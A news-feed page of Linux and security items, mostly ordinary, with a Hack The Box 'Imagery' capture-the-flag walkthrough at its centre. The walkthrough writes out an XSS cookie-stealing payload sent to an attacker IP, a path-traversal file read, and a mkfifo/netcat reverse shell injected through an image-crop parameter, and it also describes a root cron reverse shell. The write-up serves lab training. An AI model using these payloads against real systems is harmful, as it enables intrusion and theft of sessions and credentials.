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Today β€” 25 January 2026Main stream

Former Canonical Developer Advocate Warns Snap Store Isn't Safe After Slow Responses to Malware Reports

25 January 2026 at 03:44
An anonymous reader shared this article from the blog Linuxiac In a blog post, Alan Pope, a longtime Ubuntu community figure and former Canonical employee who remains an active Snap publisher... [warns of] a persistent campaign of malicious snaps impersonating cryptocurrency wallet applications. These fake apps typically mimic well-known projects such as Exodus, Ledger Live, or Trust Wallet, prompting users to enter wallet recovery phrases, which are then transmitted to attackers, resulting in drained funds. The perpetrators had originally used similar-looking characters from other alphabets to mimic other app listings, then began uploading "revisions" to other innocuous-seeming (approved) apps that would transform their original listing into that of a fake crypto wallet app. But now they're re-registering expired domains to take over existing Snap Store accounts, which Pope calls "a significant escalation..." I worked for Canonical between 2011 and 2021 as an Engineering Manager, Community Manager, and Developer Advocate. I was a strong advocate for snap packages and the Snap Store. While I left the company nearly five years ago, I still maintain nearly 50 packages in the Snap Store, with thousands of users... Personally, I want the Snap Store to be successful, and for users to be confident that the packages they install are trustworthy and safe. Currently, that confidence isn't warranted, which is a problem for desktop Linux users who install snap packages. I report every bad snap I encounter, and I know other security professionals do the same β€” even though doing so results in no action for days sometimes... To be clear: none of this should be seen as an attack on the Snap Store, Canonical, or the engineers working on these problems. I'm raising awareness of an issue that exists, because I want it fixed... But pretending there isn't a problem helps nobody.

Read more of this story at Slashdot.

Yesterday β€” 24 January 2026Main stream

I stopped using the Linux start menu: This "fuzzy" launcher is so much faster

24 January 2026 at 10:30

I used to treat my Linux app menu like a forgotten drawer. I rarely opened it, only to switch to my terminal a bit later. Then I found Ulauncher. It quietly replaced my start menu, app grid, and desktop shortcuts. Once I got used to it, I wondered why I ever clicked through menus in the first place.

Hack The Box: Imagery Machine Walkthrough – Medium Difficulity

By: darknite
24 January 2026 at 09:58
Reading Time: 12 minutes

Introduction to Imagery:

In this write-up, we will explore the β€œImagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œImagery” machine from Hack The Box by achieving the following objectives:

User Flag:

After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.

Root Flag:

With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.

Enumerating the Imagery Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.129.3.10

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/imagery]
└──╼ $nmap -sC -sV -oA initial 10.129.3.10 
# Nmap 7.94SVN scan initiated Fri Jan 23 23:04:24 2026 as: nmap -sC -sV -oA initial 10.129.3.10
Nmap scan report for 10.129.3.10
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 146960
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Image Gallery</title>
|     <script src="static/tailwind.js"></script>
|     <link rel="stylesheet" href="static/fonts.css">
|     <script src="static/purify.min.js"></script>
|     <style>
|     body {
|     font-family: 'Inter', sans-serif;
|     margin: 0;
|     padding: 0;
|     box-sizing: border-box;
|     display: flex;
|     flex-direction: column;
|     min-height: 100vh;
|     position: fixed;
|     top: 0;
|     width: 100%;
|     z-index: 50;
|_    #app-con
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7

Analysis:

  • Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
  • Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.

Web Enumeration:

Web Application Exploration:

Features the app’s slogan β€œCapture & Cherish Every Moment” in large white text, followed by a description: β€œYour personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled β€œPowerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes β€œHome,” β€œLogin,” and β€œRegister.”

Application Overview

Centred white form on blue background titled β€œRegister”. Fields: β€œEmail ID” (placeholder: β€œEnter your email ID”) and β€œPassword” (placeholder: β€œEnter your password” with eye icon for visibility). Blue β€œRegister” button. ja

Fields pre-filled: β€œEmail ID” as β€œdark@imagery.htb” and masked β€œPassword”. Blue β€œRegister” button.

Similar to register, titled β€œLogin”. Fields pre-filled: β€œEmail ID” as β€œdark@imagery.htb” and masked β€œPassword”. Blue β€œLogin” button, plus β€œDon’t have an account? Register here” link. Top nav: β€œHome”, β€œLogin”, β€œRegister”.

White background with title β€œYour Image Gallery”. A card message: β€œNo images uploaded yet. Go to the β€˜Upload’ page to add some!” Logged-in nav: β€œHome”, β€œGallery”, β€œUpload”, β€œLogout” (red button).

Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.

JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.

404 Not Found response when accessing the root /admin endpoint directly.

JSON access denied response (β€œAdministrator privileges required”) when trying to access /admin/users as a non-admin user.

405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).

App footer section showing copyright β€œΒ© 2026 Imagery”, Quick Links (Home, Gallery, Upload, Report Bug), social media links, and contact info (support@imagery.com, fictional address).

Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine

β€œReport a Bug” form pre-filled with β€œbugName”: β€œdark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.

Terminal session as user β€œdark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.

Burp Suite capture of a successful POST to /report_bug, submitting JSON with β€œbugName”: β€œdark” and XSS payload in β€œbugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.

The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.

Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username β€œdark@imagery.htbβ€œ, isAdmin false).

Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.

Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.

Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).

JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.

Local File Inclusion Leading to Credential Disclosure

Failed LFI attempt on non-existent path returning 500 Internal Server Error with β€œError reading file: 404 Not Found”.

Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload β€œ../../../../../../etc/passwd”.

Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.

LFI retrieval of /proc/self/environ exposes environment variables (LANG, PATH, WEBHOME, WEBSHELL, etc.).

Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.

LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.

CrackStation online tool cracking the MD5 hash β€œ2c65c8d7bfbca32a3ed42596192384f6” to plaintext β€œiambatman”.

Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.

Authenticating to the Imagery Application Using TestUser’s Credentials

Login page with Email ID pre-filled as β€œtestuser@imagery.htb” and masked password field.

Empty Gallery page for logged-in user stating β€œNo images uploaded yet. Go to the β€˜Upload’ page to add some!”

Upload New Image form with β€œlips.png” selected (max 1MB, allowed formats listed), optional title/description, group β€œMy Images”, uploading as Account ID e5f6g7h8.

Achieving Shell Access via Remote Code Execution

Gallery view showing single uploaded image β€œlips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.

Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.

Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.

Burp capture of POST to /apply_visual_transform with invalid crop β€œx”:”id” parameter resulting in 500 error (β€œinvalid argument for option β€˜-crop'”).

Burp capture of POST to /apply_visual_transform injecting β€œcat /etc/passwd” via crop β€œx” parameter, resulting in 500 error exposing command output snippet.

Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).

Burp capture of POST to /apply_visual_transform with reverse shell payload in crop β€œx” parameter (β€œrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).

Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.

Detailed directory listing of /web (app root) revealing source files (api_*.py, app.py, config.py, db.json, utils.py) and directories (bot, env, static, system_logs, templates, uploads).

Directory listing of /web/bot showing admin.py file owned by web user.

Source code of admin.py revealing Selenium automation bot with hardcoded admin credentials (β€œadmin@imagery.htbβ€œ:”strongsandofbeach”), bypass token, and Chrome binary path.

Backup and Archive Discovery

Detailed directory listing of /var showing system directories (backup, backups, cache, crash, lib, local, log, mail, opt, run, snap, spool, tmp).

Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.

Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).

Target starting Python HTTP server on port 9007 to serve the encrypted backup file.

Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.

File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.

Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for β€˜pyAesCrypt’ (case-sensitive import issue).

Successful pip3 user installation of pyaescrypt-6.1.1 package.

Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for β€˜termcolor’ (missing import dependency).

Successful pip3 user installation of termcolor-3.3.0 package.

Custom pyAesCrypt brute-forcer discovering password β€œbestfriends” early in the wordlist.

Successful decryption of the AES backup using β€œbestfriends”, outputting the original web_20250806_120723.zip.

The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.

cat of decrypted db.json revealing user database with admin (hashed password), testuser (β€œiambatman”), and mark (another hashed password).

CrackStation results cracking MD5 hashes to β€œiambatman”, β€œsupersmash”, and β€œspiderweb1234” (one unknown).

Successful su to mark using password β€œsupersmash”, confirming uid/gid 1002.

Python one-liner (python3 -c β€˜import pty;pty.spawn(β€œ/bin/bash”)’) to spawn an interactive bash shell.

ls -al in /home/mark showing files including user.txt (likely containing the flag).

We can read the user flag by typing the β€œcat user.txt” command

Escalate to Root Privileges Access to Imagery Machine

Privilege Escalation:

sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).

charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).

Failed charcol shell passphrase attempts (β€œbestfriend”, β€œsupermash”, β€œsupersmash”) resulting in lockout after multiple errors.

sudo charcol -R resetting application password to default (β€œno password” mode) after system password verification.

sudo charcol -R resetting application password to default (β€œno password” mode) after system password verification.

Repeated sudo charcol -R successfully resetting to no password mode.

charcol interactive shell entry after initial setup, displaying ASCII logo and info message.

charcol help output explaining backup/fetch commands and β€œauto add” for managing automated (root) cron jobs, with security warnings.

Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.

Successful β€œauto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password β€œsupersmash”.

Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt

The post Hack The Box: Imagery Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Before yesterdayMain stream

Homelab projects to try this weekend (January 23 - 25)

22 January 2026 at 13:00

It’s that time of the week again, the time when I showcase three pieces of homelab software for you to try out over the weekend. Today, I’m taking a look at both advanced and simple projects, from running a PXE server to playing retro games in your browser. Here are three homelab projects to try before Monday comes.

Hackers Exploit Snap Domains to Inject Malicious Code into Linux Software Packages

22 January 2026 at 07:29

Snaps are compressed, cryptographically signed, revertable software packages for Linux desktops, servers, and embedded devices. A sophisticated campaign targeting Canonical’s Snap Store has escalated dramatically, with threat actors shifting from publishing malware under new accounts to hijacking established publishers through expired domain takeovers. This represents a fundamental erosion of trust signals that Linux users previously […]

The post Hackers Exploit Snap Domains to Inject Malicious Code into Linux Software Packages appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

This Android phone with Linux jumps to Windows when you need it

22 January 2026 at 08:08

NexPhone wants one handset to cover Android, Debian Linux, and a Windows 11 cloud PC workflow. The idea hinges on docking, but the Windows service details still aren’t pinned down.

The post This Android phone with Linux jumps to Windows when you need it appeared first on Digital Trends.

NVIDIA Nsight Graphics on Linux Exposed to Code Execution Vulnerability

By: Divya
21 January 2026 at 07:41

NVIDIA has released an urgent security update addressing a critical vulnerability in NSIGHT Graphics for Linux systems. The vulnerability, tracked as CVE-2025-33206, allows attackers to execute arbitrary code through command injection, posing significant risks to development and graphics analysis workflows. Vulnerability Overview The flaw exists in NVIDIA NSIGHT Graphics across all Linux versions prior to […]

The post NVIDIA Nsight Graphics on Linux Exposed to Code Execution Vulnerability appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

5 Linux myths I believed until I used it daily

21 January 2026 at 08:00

Computing is always changing, but few operating systems have as much cultural baggage and conflicting stories surrounding them as Linux does. If you're used to those proprietary software ecosystems, hearing the word probably brings up a bunch of old ideas. These assumptions rely on outdated information, hearsay, or plain misunderstandings.

Block Devices in User Space

20 January 2026 at 22:00

Your new project really could use a block device for Linux. File systems are easy to do with FUSE, but that’s sometimes too high-level. But a block driver can be tough to write and debug, especially since bugs in the kernel’s space can be catastrophic. [Jiri Pospisil] suggests Ublk, a framework for writing block devices in user space. This works using the io_uring facility in recent kernels.

This opens the block device field up. You can use any language you want (we’ve seen FUSE used with some very strange languages). You can use libraries that would not work in the kernel. Debugging is simple, and crashing is a minor inconvenience.

Another advantage? Your driver won’t depend on the kernel code. There is a kernel driver, of course, named ublk_drv, but that’s not your code. That’s what your code talks to.

The driver maintains the block devices and relays I/O and ioctl requests to your code for servicing. There are several possible use cases for this. For example, you could dream up some exotic RAID scheme and expose it as a block device that multiplexes many devices. The example in the post, for example, exposes a block device that is made up of many discrete files on a different file system.

Do you need this? Probably not. But if you do, it is a great way to push out a block driver in a hurry. Is it high-performance? Probably not, just like FUSE isn’t as performant as a β€œreal” file system. But for many cases, that’s not a problem.

If you want to try FUSE, why not make your favorite website part of your file system?

My favorite Raspberry Pi feature is too often overlooked

20 January 2026 at 17:00

Raspberry Pi single-board computers are awesome for so many reasonsβ€”they're low-power, extremely capable, and have small footprints. I love all those things about my Raspberry Pi, but my favorite feature is one that I don’t hear talked about nearly often enough.

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